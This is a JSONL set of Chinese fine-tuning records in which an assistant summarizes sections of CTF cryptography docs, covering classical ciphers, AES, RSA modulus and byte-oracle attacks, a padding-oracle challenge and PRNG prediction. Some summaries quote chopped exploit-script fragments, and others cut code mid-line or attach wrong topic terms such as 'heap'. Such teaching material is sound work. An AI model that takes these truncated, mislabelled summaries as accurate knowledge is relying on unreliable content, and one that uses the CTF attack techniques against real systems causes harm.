{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-28def3a5413b9d46dcf0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > 简单替换密码 > 原理\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 简单替换密码（Simple Substitution Cipher）加密时，将每个明文字母替换为与之唯一对应且不同的字母。\n- 它与恺撒密码之间的区别是其密码字母表的字母不是简单的移位，而是完全是混乱的，这也使得其破解难度要高于凯撒密码。\n- ` 明文：the quick brown fox jumps over the lazy dog 密文：cei jvaql hkdtf udz yvoxr dsik cei npbw gdm `` 而解密时，我们一般是知道了每一个字母的对应规则，才可以正常解密。\n- 比如： `` 明文字母 : abcdefghijklmnopqrstuvwxyz 密钥字母 : phqgiumeaylnofdxjkrcvstzwb ` a 对应 p，b 对应 h，以此类推。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- monoalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `明文字母 : abcdefghijklmnopqrstuvwxyz`\n- plain: 2 行，首行 `明文：the quick brown fox jumps over the lazy dog`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 355, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["单表代换加密", "简单替换密码", "原理"], "original_id": "docs-37b76c202c922c1caaaa", "original_line": 363, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "2988f8da3dfd6df421b2568b", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "crypto", "classical", "monoalphabetic.md"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2905dd54e1cdd154bda2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/attack.md` 中的章节「import pyscrypt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/attack.md`\n标题：Hash Attack\n章节：import pyscrypt\n路径分类：crypto / crypto/hash/attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“import pyscrypt”展开。\n- from base64 import b64encode, b64decode from pwn import * def md5(bytestring): return hashlib.md5(bytestring).digest() def sha(bytestring): return hashlib.sha1(bytestring).digest() def blake(bytestring): return hashlib.blake2b(bytestring).digest() def scryp...\n- password_hash_base64 = ans_array[ans_array.find(b\"b'\") + 2: ans_array.find(b\"'\\n\")] password_hash = b64decode(password_hash_base64) print('password:', password_hash) method_bytes = ans_array[ ans_array.find(b'used:\\n') + 6 : ans_array.find(b'\\nYour') ] meth...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- hash\n- attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1648, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "import pyscrypt", "heading_path": ["import pyscrypt"], "original_id": "docs-106f7bcdb02059541799", "original_line": 395, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "source_root": "docs", "source_sha256": "80fde767e17002c534f0877819eecdfe1b1bda14fae5184477dcedfeaaf95889", "split": "train", "split_group_key": "30ecf79f01507a920c90a781", "subcategory": "crypto/hash/attack.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "hash", "attack.md"], "title": "Hash Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-29f2b778519f765bc1e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/nfsr.md` 中的章节「cycle = cycle*(pow(2,i)-1)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/nfsr.md`\n标题：非线性反馈移位寄存器\n章节：cycle = cycle*(pow(2,i)-1)\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“cycle = cycle*(pow(2,i)-1)”展开。\n- print cycle def lfsr(R, mask): output = (R << 1) & 0xffffff i = (R & mask) & 0xffffff lastbit = 0 while i !\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- nfsr.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `运行结果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "cycle = cycle*(pow(2,i)-1)", "heading_path": ["cycle = cycle*(pow(2,i)-1)"], "original_id": "docs-d69dc417cc84136d327c", "original_line": 429, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/nfsr.md", "source_root": "docs", "source_sha256": "ea9f3a2dc230e58837818417d3fe78888c90b7358e51df033cd7dace77dacdf7", "split": "train", "split_group_key": "2a244ecaa1510752f3fe1ddd", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "nfsr.md"], "title": "非线性反馈移位寄存器"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/nfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2ab4f619767073c82748", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「SCTF RSA2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > 模不互素 > SCTF RSA2\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SCTF RSA2”展开。\n- = 0: plain = '0' + plain print plain.decode('hex') ` 最后解密如下 `shell ➜ scaf-rsa2 git:(master) ✗ python exp.py sH1R3_PRlME_1N_rsA_iS_4ulnEra5le `` 解压压缩包即可。\n\n关键术语：\n- 堆\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 3 行，首行 `n1 = 2082336911455626076291358884447186972576298581221598799386778363005142024105791238505548278801632797846831806707...`\n- shell: 2 行，首行 `➜ scaf-rsa2 git:(master) ✗ python exp.py`\n- python: 16 行，首行 `from Crypto.PublicKey import RSA`\n- shell: 2 行，首行 `➜ scaf-rsa2 git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4002, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "SCTF RSA2", "heading_path": ["模数相关攻击", "模不互素", "SCTF RSA2"], "original_id": "docs-0e1dcc6290fb9af1e1af", "original_line": 270, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "6bcfd7aea1172690d352734c", "subcategory": "crypto/asymmetric/rsa", "terms": ["堆", "密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md", "code:python", "code:shell"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-2bee1f784f546183833f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「Teaser Dragon CTF 2018 AES-128-TSB」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > Teaser Dragon CTF 2018 AES-128-TSB\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Teaser Dragon CTF 2018 AES-128-TSB”展开。\n- 这个题目还是蛮有意思的，题目描述如下 `` Haven't you ever thought that GCM mode is overcomplicated and there must be a simpler way to achieve Authenticated Encryption?\n- Server: aes-128-tsb.hackable.software 1337 server.py ` 附件以及最后的 exp 自行到 ctf-challenge 仓库下寻找。\n- = iv: raise CryptoError() return unpad(pt) `` 那么此时，服务器解密后的消息则是 $unpad(IV \\oplus D(C_1 \\oplus IV))$\n- `python def unpad(msg): if not msg: return '' return msg[:-ord(msg[-1])] ` 一开始，很直接的思路是 a 和 b 的长度都输入 0 ，那么可以直接绕过 a==b 检查，获取一串随机密文加密的字符串。\n- 题目的基本流程为 - 不断接收 a 和 b 两个字符串，其中 a 为明文，b 为密文，注意 - b 在解密后需要满足尾部恰好等于 iv。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n\n代码/命令片段线索：\n- plain: 3 行，首行 `Haven't you ever thought that GCM mode is overcomplicated and there must be a simpler way to achieve Authenticated En...`\n- python: 4 行，首行 `def unpad(msg):`\n- python: 14 行，首行 `def tsb_encrypt(aes, msg):`\n- python: 16 行，首行 `def tsb_decrypt(aes, msg):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1807, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "Teaser Dragon CTF 2018 AES-128-TSB", "heading_path": ["Padding Oracle Attack", "Teaser Dragon CTF 2018 AES-128-TSB"], "original_id": "docs-5cd2becb3ab4b2a47567", "original_line": 345, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "fed8ed39fe77c8c476a516fc", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-30b640c9d633a675b7a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Polybius > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- A D F G X 的由来： > 1918 年，第一次世界大战将要结束时，法军截获了一份德军电报，电文中的所有单词都由 A、D、F、G、X 五个字母拼成，因此被称为 ADFGX 密码。\n- ADFGX 密码是 1918 年 3 月由德军上校 Fritz Nebel 发明的，是结合了 Polybius 密码和置换密码的双重加密方案。\n- Polybius密码又称为棋盘密码，其一般是将给定的明文加密为两两组合的数字，其常用密码表 | | 1 | 2 | 3 | 4 | 5 | | :--- | --- | --- | --- | --- | :--- | | 1 | A | B | C | D | E | | 2 | F | G | H | I/J | K | | 3 | L | M | N | O | P | | 4 | Q | R | S | T | U | | 5 | V | W | X | Y | Z | 举个例子，明文 HELLO，加...\n- 另一种密码表 | | A | D | F | G | X | | --- | --- | --- | --- | --- | --- | | A | b | t | a | l | p | | D | d | h | o | z | k | | F | q | f | v | s | n | | G | g | j | c | u | x | | X | m | r | e | w | y | 注意，这里字母的顺序被打乱了。\n- 举个例子，HELLO，使用这个表格加密，就是 DD XF AG AG DF。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 703, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["多表代换加密", "Polybius", "原理"], "original_id": "docs-c31c240ec42537702225", "original_line": 376, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-31058db407f99a5292de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「半群和幺半群」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 群 > 半群和幺半群\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“半群和幺半群”展开。\n- 在近世代数中，有些代数系统具有环的部分性质，虽不在我们的主要讨论范围内，但它们也具有广泛的应用场景与不可忽视的研究价值： 对于其上二元代数运算封闭的非空集合， 如若仅满足结合律，那么可以称该集合对该代数运算作成半群（Semigroup）；\n- 如若集合对于代数运算除封闭外，满足结合律，且具有单位元，则可以称其对该运算作成幺半群（Monoid）。\n- 举例来说，正整数对于整数加法作成半群，而非负整数对于整数加法作成幺半群，由于零可以视为整数加法的单位元。\n- 由此，我们可以认为： 幺半群是含有单位元的半群；\n\n关键术语：\n- 密码学\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "半群和幺半群", "heading_path": ["基础数学知识", "群", "半群和幺半群"], "original_id": "docs-3375849dcddc82e51ebf", "original_line": 308, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "846c1ef77c552b2f1ccb1ae2", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-332ddc1a4356d6af87b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「PRNG Predict」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：RSA 复杂题目 > 2018 Tokyo Western Mixed Cipher > PRNG Predict\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“PRNG Predict”展开。\n- 这时我们可以发现，IV 生成使用的随机数使用了 getrandbits，并且我们可以获取到足够多的随机数量，那么我们可以进行 PRNG 的 predict，从而直接获取随机数 这里使用了一个现成的的 java 进行 PRNG 的 Predict ``java public class Main { static int[] state;\n- 40huo public static void main(String[] args) { state = new int[624];\n- // obtain the part int part = value & partMask;\n- = 624) { System.err.println(\"must be 624 args\");\n- 这里我们可以解密 flag 的16字节之后的内容了，但是前16个字节没有 IV 是解密不了的。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:java\n\n代码/命令片段线索：\n- java: 121 行，首行 `public class Main {`\n- plain: 37 行，首行 `from Crypto.Util.number import long_to_bytes,bytes_to_long`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4698, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "PRNG Predict", "heading_path": ["RSA 复杂题目", "2018 Tokyo Western Mixed Cipher", "PRNG Predict"], "original_id": "docs-51ef4cb6aa49dcca039e", "original_line": 238, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "5bffff1037bba1b48532ced8", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:java"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3436ad36a78adeb0fee8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > RSA Byte Oracle > 原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 这个其实算作 RSA parity Oracle 的扩展，既然可以泄露出最后一个字节，那么按道理我们获取密文对应明文的次数应该可以减少。\n- 而且对于两个不同的 $k_1,k_2$，我们有 $256P-k_1n \\not\\equiv 256P-k_2n \\bmod 256$ 我们可以利用反证法来证明上述不等式。\n- 假设 $C=P^e \\bmod N$ 第一次时，我们可以给服务器发送 $C256^e=(256P)^e \\bmod N$ 服务器会计算得到 $256P \\bmod N$ 这里 - 256P 是偶数。\n- 那么，其实我们可以首先枚举出 0~255 情况下的最后一个字节，构造一个 k 和最后一个字节的映射表 map 当服务器返回最后一个字节 b，那么我们可以根据上述构造的映射表得知 k，即减去了 k 个N， 即 $kN \\leq 256 P \\leq (k+1)N$。\n- 进一步我们可以这么归纳，初始情况下 `` lb = 0 ub = N ` 假设服务器返回了 b，那么 `c k = mab[b] interval = (ub-lb)/256 lb = lb + interval * k ub = lb + interval ``\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n- code:c\n\n代码/命令片段线索：\n- plain: 2 行，首行 `lb = 0`\n- c: 4 行，首行 `k = mab[b]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1171, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["RSA 选择明密文攻击", "RSA Byte Oracle", "原理"], "original_id": "docs-39dc947f796b9f411d47", "original_line": 233, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "aa524947738ad1e9686af9d5", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md", "code:c"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-34653da270270b2428db", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/aes.md` 中的章节「基本概念」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/aes.md`\n标题：AES\n章节：AES > 基本流程 > 基本概念\n路径分类：crypto / crypto/blockcipher/aes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本概念”展开。\n- [图片文件: ./figure/aes_data_unit.png] 在 AES 中，块与 State 之间的转换过程如下 [图片文件: ./figure/aes_block2state.png] 所以，可以看出，每一个 block 中的字节是按照列排列进入到状态数组的。\n- 在 AES 加解密过程中，每一块都是 128 比特，所以我们这里明确一些基本概念。\n- [图片文件: ./figure/aes_plain2state.png]\n- 而对于明文来说，一般我们会选择使用其十六进制进行编码。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- aes.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 249, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本概念", "heading_path": ["AES", "基本流程", "基本概念"], "original_id": "docs-0c1a8c0327870814bd59", "original_line": 314, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "source_root": "docs", "source_sha256": "7459d1017710169c492f33b1cb287f00a9eca355abf34bc65ee2821fb68b7635", "split": "train", "split_group_key": "b45a7c0e2f4efc1836290463", "subcategory": "crypto/blockcipher/aes.md", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "aes.md"], "title": "AES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-346865b765a67ec3d32c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「2017年xman选拔赛——一二三，木头人」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 键盘密码 > 2017年xman选拔赛——一二三，木头人\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017年xman选拔赛——一二三，木头人”展开。\n- > > 23731263111628163518122316391715262121 > > 密码格式xman{flag} 题目中有很明显的提示123，那么就自然需要联想到键盘密码中电脑键盘坐标密码，可以发现前几个数字第二个数字都是1-3范围内的，也验证了我们的猜测。\n- 于是 > 23-x > > 73-m > > 12-a > > 63-n > > 11-q 不对呀，密码格式是 xman{，第四个字符是 {，于是看了看 { 的位置，其并没有对应的横坐标，但是如果我们手动把它视为 11 的话，那么111就是 {。\n- `` xman{hintisenough} `` 从这里我们可以看出，我们还是要注意迁移性，不能单纯地照搬一些已有的知识。\n- 然后依次往后推，发现确实可行，，最后再把 121 视为 } 即可得到 flag。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `xman{hintisenough}`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 398, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2017年xman选拔赛——一二三，木头人", "heading_path": ["其它类型加密", "键盘密码", "2017年xman选拔赛——一二三，木头人"], "original_id": "docs-b96b0b8a1b9a95e357fa", "original_line": 375, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "39a0763281b4efc0c4b4b339", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
